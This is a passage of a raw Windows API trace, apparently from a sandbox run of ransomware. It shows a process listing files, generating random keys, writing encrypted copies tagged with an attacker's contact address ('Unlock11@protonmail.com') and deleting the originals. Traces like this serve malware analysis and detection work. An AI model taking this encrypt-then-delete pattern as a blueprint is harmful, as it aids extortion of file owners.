0x0 [0114.826] GetFileType (hFile=0x39c) returned 0x1 [0114.826] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.826] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.826] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.826] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.826] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.826] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.826] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.826] GetLastError () returned 0x0 [0114.826] GetCurrentThreadId () returned 0x9b0 [0114.827] GetLastError () returned 0x0 [0114.827] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d28 | out: hHeap=0x2ad0000) returned 1 [0114.827] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0114.827] GetLastError () returned 0x0 [0114.827] GetLastError () returned 0x0 [0114.827] GetLastError () returned 0x0 [0114.827] GetLastError () returned 0x0 [0114.827] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0114.827] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6d28 [0114.827] GetLastError () returned 0x0 [0114.827] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0114.829] GetFileType (hFile=0x3ac) returned 0x1 [0114.829] GetLastError () returned 0x0 [0114.829] GetCurrentThreadId () returned 0x9b0 [0114.829] GetLastError () returned 0x0 [0114.830] GetFileType (hFile=0x3ac) returned 0x1 [0114.830] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.830] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.830] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.830] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.830] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.830] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.830] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.830] GetLastError () returned 0x0 [0114.830] GetCurrentThreadId () returned 0x9b0 [0114.830] GetLastError () returned 0x0 [0114.830] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d28 | out: hHeap=0x2ad0000) returned 1 [0114.830] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2300 | out: hHeap=0x2ad0000) returned 1 [0114.830] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0114.831] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0114.831] GetLastError () returned 0x0 [0114.831] GetLastError () returned 0x0 [0114.831] GetCurrentThreadId () returned 0x9b0 [0114.831] GetLastError () returned 0x0 [0114.831] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0114.831] GetLastError () returned 0x0 [0114.831] GetLastError () returned 0x0 [0114.831] GetCurrentThreadId () returned 0x9b0 [0114.831] GetLastError () returned 0x0 [0114.831] GetLastError () returned 0x0 [0114.833] GetLastError () returned 0x0 [0114.833] GetCurrentThreadId () returned 0x9b0 [0114.833] GetLastError () returned 0x0 [0114.833] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c88 | out: hHeap=0x2ad0000) returned 1 [0114.834] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0114.834] GetLastError () returned 0x0 [0114.834] GetLastError () returned 0x0 [0114.834] GetLastError () returned 0x0 [0114.834] GetLastError () returned 0x0 [0114.834] GetCurrentThreadId () returned 0x9b0 [0114.834] GetLastError () returned 0x0 [0114.834] GetCurrentThreadId () returned 0x9b0 [0114.834] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0114.834] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0114.835] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0114.835] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0114.835] GetLastError () returned 0x0 [0114.836] GetLastError () returned 0x0 [0114.837] GetCurrentThreadId () returned 0x9b0 [0114.837] GetLastError () returned 0x0 [0114.837] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0114.837] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0114.837] GetLastError () returned 0x0 [0114.837] GetLastError () returned 0x0 [0114.837] GetCurrentThreadId () returned 0x9b0 [0114.838] GetLastError () returned 0x0 [0114.838] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x3891) returned 0x36f8548 [0114.838] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0114.838] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x3895) returned 0x36f8548 [0114.838] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6c88 [0114.838] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d28 | out: hHeap=0x2ad0000) returned 1 [0114.838] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x3898) returned 0x3887a10 [0114.838] GetLastError () returned 0x0 [0114.838] GetLastError () returned 0x0 [0114.838] GetLastError () returned 0x0 [0114.838] GetLastError () returned 0x0 [0114.838] GetCurrentThreadId () returned 0x9b0 [0114.838] GetLastError () returned 0x0 [0114.839] GetCurrentThreadId () returned 0x9b0 [0114.839] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3895) returned 0x388b2b0 [0114.839] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887a10 | out: hHeap=0x2ad0000) returned 1 [0114.839] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0114.839] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0114.839] GetLastError () returned 0x0 [0114.839] GetLastError () returned 0x0 [0114.839] GetCurrentThreadId () returned 0x9b0 [0114.839] GetLastError () returned 0x0 [0114.839] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x388b2b0 | out: hHeap=0x2ad0000) returned 1 [0114.840] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0114.840] GetLastError () returned 0x0 [0114.840] GetLastError () returned 0x0 [0114.840] GetCurrentThreadId () returned 0x9b0 [0114.840] GetLastError () returned 0x0 [0114.840] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0114.840] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0114.840] GetLastError () returned 0x0 [0114.840] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc04b8 | out: hHeap=0x2ad0000) returned 1 [0114.840] CloseHandle (hObject=0x3ac) returned 1 [0114.841] GetLastError () returned 0x0 [0114.841] GetCurrentThreadId () returned 0x9b0 [0114.841] GetLastError () returned 0x0 [0114.841] GetLastError () returned 0x0 [0114.841] CloseHandle (hObject=0x39c) returned 1 [0114.841] GetLastError () returned 0x0 [0114.841] GetCurrentThreadId () returned 0x9b0 [0114.841] GetLastError () returned 0x0 [0114.841] GetLastError () returned 0x0 [0114.841] GetLastError () returned 0x0 [0114.841] GetLastError () returned 0x0 [0114.842] GetLastError () returned 0x0 [0114.842] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml")) returned 1 [0114.843] GetLastError () returned 0x0 [0114.843] GetCurrentThreadId () returned 0x9b0 [0114.843] GetLastError () returned 0x0 [0114.843] GetLastError () returned 0x0 [0114.843] GetLastError () returned 0x0 [0114.843] GetLastError () returned 0x0 [0114.844] GetLastError () returned 0x0 [0114.844] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\3082\\SetupResources.dll", lpFilePart=0x9bada4*="SetupResources.dll") returned 0x2d [0114.844] GetCurrentThreadId () returned 0x9b0 [0114.844] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0114.844] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0114.844] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0114.844] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0114.844] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0114.845] GetCurrentThreadId () returned 0x9b0 [0114.845] GetLastError () returned 0x0 [0114.845] GetLastError () returned 0x0 [0114.845] GetLastError () returned 0x0 [0114.845] GetLastError () returned 0x0 [0114.845] FindFirstFileA (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7a50 [0114.845] GetLastError () returned 0x0 [0114.845] GetCurrentThreadId () returned 0x9b0 [0114.845] GetLastError () returned 0x0 [0114.845] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0114.846] GetLastError () returned 0x0 [0114.846] GetCurrentThreadId () returned 0x9b0 [0114.846] GetLastError () returned 0x0 [0114.846] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce2bc00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0xce2bc00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0xce2bc00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x31444, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0114.846] GetLastError () returned 0x0 [0114.846] GetCurrentThreadId () returned 0x9b0 [0114.846] GetLastError () returned 0x0 [0114.846] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0114.846] GetLastError () returned 0x0 [0114.846] GetCurrentThreadId () returned 0x9b0 [0114.846] GetLastError () returned 0x0 [0114.846] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0 [0114.846] GetLastError () returned 0x12 [0114.847] GetCurrentThreadId () returned 0x9b0 [0114.847] GetLastError () returned 0x12 [0114.847] GetLastError () returned 0x12 [0114.847] FindClose (in: hFindFile=0x10f7a50 | out: hFindFile=0x10f7a50) returned 1 [0114.847] GetLastError () returned 0x12 [0114.847] GetLastError () returned 0x12 [0114.847] GetLastError () returned 0x12 [0114.847] GetLastError () returned 0x12 [0114.847] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0114.847] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml")) returned 0x80 [0114.847] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0114.847] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0114.848] GetCurrentThreadId () returned 0x9b0 [0114.848] GetLastError () returned 0x12 [0114.848] GetLastError () returned 0x12 [0114.848] GetLastError () returned 0x12 [0114.848] GetLastError () returned 0x12 [0114.848] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0114.848] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml")) returned 0x80 [0114.848] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ff58 | out: hHeap=0x2ad0000) returned 1 [0114.848] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0114.849] GetLastError () returned 0x12 [0114.849] GetLastError () returned 0x12 [0114.849] GetLastError () returned 0x12 [0114.849] GetLastError () returned 0x12 [0114.849] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml", lpFilePart=0x9bada4*="Parameterinfo.xml") returned 0x2e [0114.849] GetCurrentThreadId () returned 0x9b0 [0114.849] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0114.849] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0114.849] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0114.849] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0114.849] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.849] GetCurrentThreadId () returned 0x9b0 [0114.850] GetLastError () returned 0x0 [0114.850] GetLastError () returned 0x0 [0114.850] GetLastError () returned 0x0 [0114.850] GetLastError () returned 0x0 [0114.850] GetCurrentThreadId () returned 0x9b0 [0114.850] GetLastError () returned 0x0 [0114.850] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.850] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.850] GetLastError () returned 0x0 [0114.850] GetLastError () returned 0x0 [0114.850] GetLastError () returned 0x0 [0114.851] GetLastError () returned 0x0 [0114.851] GetCurrentThreadId () returned 0x9b0 [0114.851] GetLastError () returned 0x0 [0114.851] GetCurrentThreadId () returned 0x9b0 [0114.851] GetLastError () returned 0x0 [0114.851] GetLastError () returned 0x0 [0114.851] GetLastError () returned 0x0 [0114.851] GetLastError () returned 0x0 [0114.851] GetCurrentThreadId () returned 0x9b0 [0114.851] GetLastError () returned 0x0 [0114.851] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.851] GetLastError () returned 0x0 [0114.852] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d63c0 | out: hHeap=0x2ad0000) returned 1 [0114.852] GetLastError () returned 0x0 [0114.852] GetLastError () returned 0x0 [0114.852] GetLastError () returned 0x0 [0114.852] GetCurrentThreadId () returned 0x9b0 [0114.852] GetLastError () returned 0x0 [0114.852] GetLastError () returned 0x0 [0114.852] GetLastError () returned 0x0 [0114.852] GetLastError () returned 0x0 [0114.852] GetLastError () returned 0x0 [0114.852] GetCurrentThreadId () returned 0x9b0 [0114.852] GetLastError () returned 0x0 [0114.853] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a828 | out: hHeap=0x2ad0000) returned 1 [0114.853] GetLastError () returned 0x0 [0114.853] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6780 | out: hHeap=0x2ad0000) returned 1 [0114.853] GetLastError () returned 0x0 [0114.853] GetLastError () returned 0x0 [0114.853] GetLastError () returned 0x0 [0114.853] GetCurrentThreadId () returned 0x9b0 [0114.853] GetLastError () returned 0x0 [0114.853] GetLastError () returned 0x0 [0114.853] GetLastError () returned 0x0 [0114.853] GetLastError () returned 0x0 [0114.853] GetLastError () returned 0x0 [0114.854] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0114.854] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce2bc00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0xce2bc00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0xce2bc00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x31444)) returned 1 [0114.854] GetLastError () returned 0x0 [0114.854] GetCurrentThreadId () returned 0x9b0 [0114.854] GetLastError () returned 0x0 [0114.854] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0114.854] GetCurrentThreadId () returned 0x9b0 [0114.854] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664a0c | out: pbBuffer=0x3664a0c) returned 1 [0114.854] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0114.854] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0114.854] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0114.855] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.855] GetLastError () returned 0x0 [0114.855] GetLastError () returned 0x0 [0114.855] GetLastError () returned 0x0 [0114.855] GetLastError () returned 0x0 [0114.855] GetCurrentThreadId () returned 0x9b0 [0114.855] GetLastError () returned 0x0 [0114.855] GetCurrentThreadId () returned 0x9b0 [0114.855] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.855] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.855] GetLastError () returned 0x0 [0114.855] GetLastError () returned 0x0 [0114.856] GetLastError () returned 0x0 [0114.856] GetLastError () returned 0x0 [0114.856] GetCurrentThreadId () returned 0x9b0 [0114.856] GetLastError () returned 0x0 [0114.856] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.856] GetCurrentThreadId () returned 0x9b0 [0114.856] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6d28 [0114.856] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0114.856] GetLastError () returned 0x0 [0114.856] GetLastError () returned 0x0 [0114.856] GetLastError () returned 0x0 [0114.856] GetLastError () returned 0x0 [0114.857] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0114.857] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6a68 [0114.857] GetLastError () returned 0x0 [0114.857] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0114.857] GetFileType (hFile=0x39c) returned 0x1 [0114.857] GetLastError () returned 0x0 [0114.857] GetCurrentThreadId () returned 0x9b0 [0114.857] GetLastError () returned 0x0 [0114.857] GetFileType (hFile=0x39c) returned 0x1 [0114.857] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.858] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.858] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.858] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.858] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.858] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.858] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.858] GetLastError () returned 0x0 [0114.858] GetCurrentThreadId () returned 0x9b0 [0114.858] GetLastError () returned 0x0 [0114.858] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a68 | out: hHeap=0x2ad0000) returned 1 [0114.858] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0114.858] GetLastError () returned 0x0 [0114.858] GetLastError () returned 0x0 [0114.858] GetLastError () returned 0x0 [0114.859] GetLastError () returned 0x0 [0114.859] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0114.859] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6a68 [0114.859] GetLastError () returned 0x0 [0114.859] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0114.859] GetFileType (hFile=0x3ac) returned 0x1 [0114.859] GetLastError () returned 0x0 [0114.859] GetCurrentThreadId () returned 0x9b0 [0114.860] GetLastError () returned 0x0 [0114.860] GetFileType (hFile=0x3ac) returned 0x1 [0114.860] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.860] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.860] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.860] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.860] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.861] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.861] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.861] GetLastError () returned 0x0 [0114.861] GetCurrentThreadId () returned 0x9b0 [0114.861] GetLastError () returned 0x0 [0114.861] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a68 | out: hHeap=0x2ad0000) returned 1 [0114.861] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a21a0 | out: hHeap=0x2ad0000) returned 1 [0114.861] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0114.861] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0114.861] GetLastError () returned 0x0 [0114.861] GetLastError () returned 0x0 [0114.861] GetCurrentThreadId () returned 0x9b0 [0114.861] GetLastError () returned 0x0 [0114.862] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0114.862] GetLastError () returned 0x0 [0114.862] GetLastError () returned 0x0 [0114.862] GetCurrentThreadId () returned 0x9b0 [0114.862] GetLastError () returned 0x0 [0114.862] GetLastError () returned 0x0 [0114.864] GetLastError () returned 0x0 [0114.864] 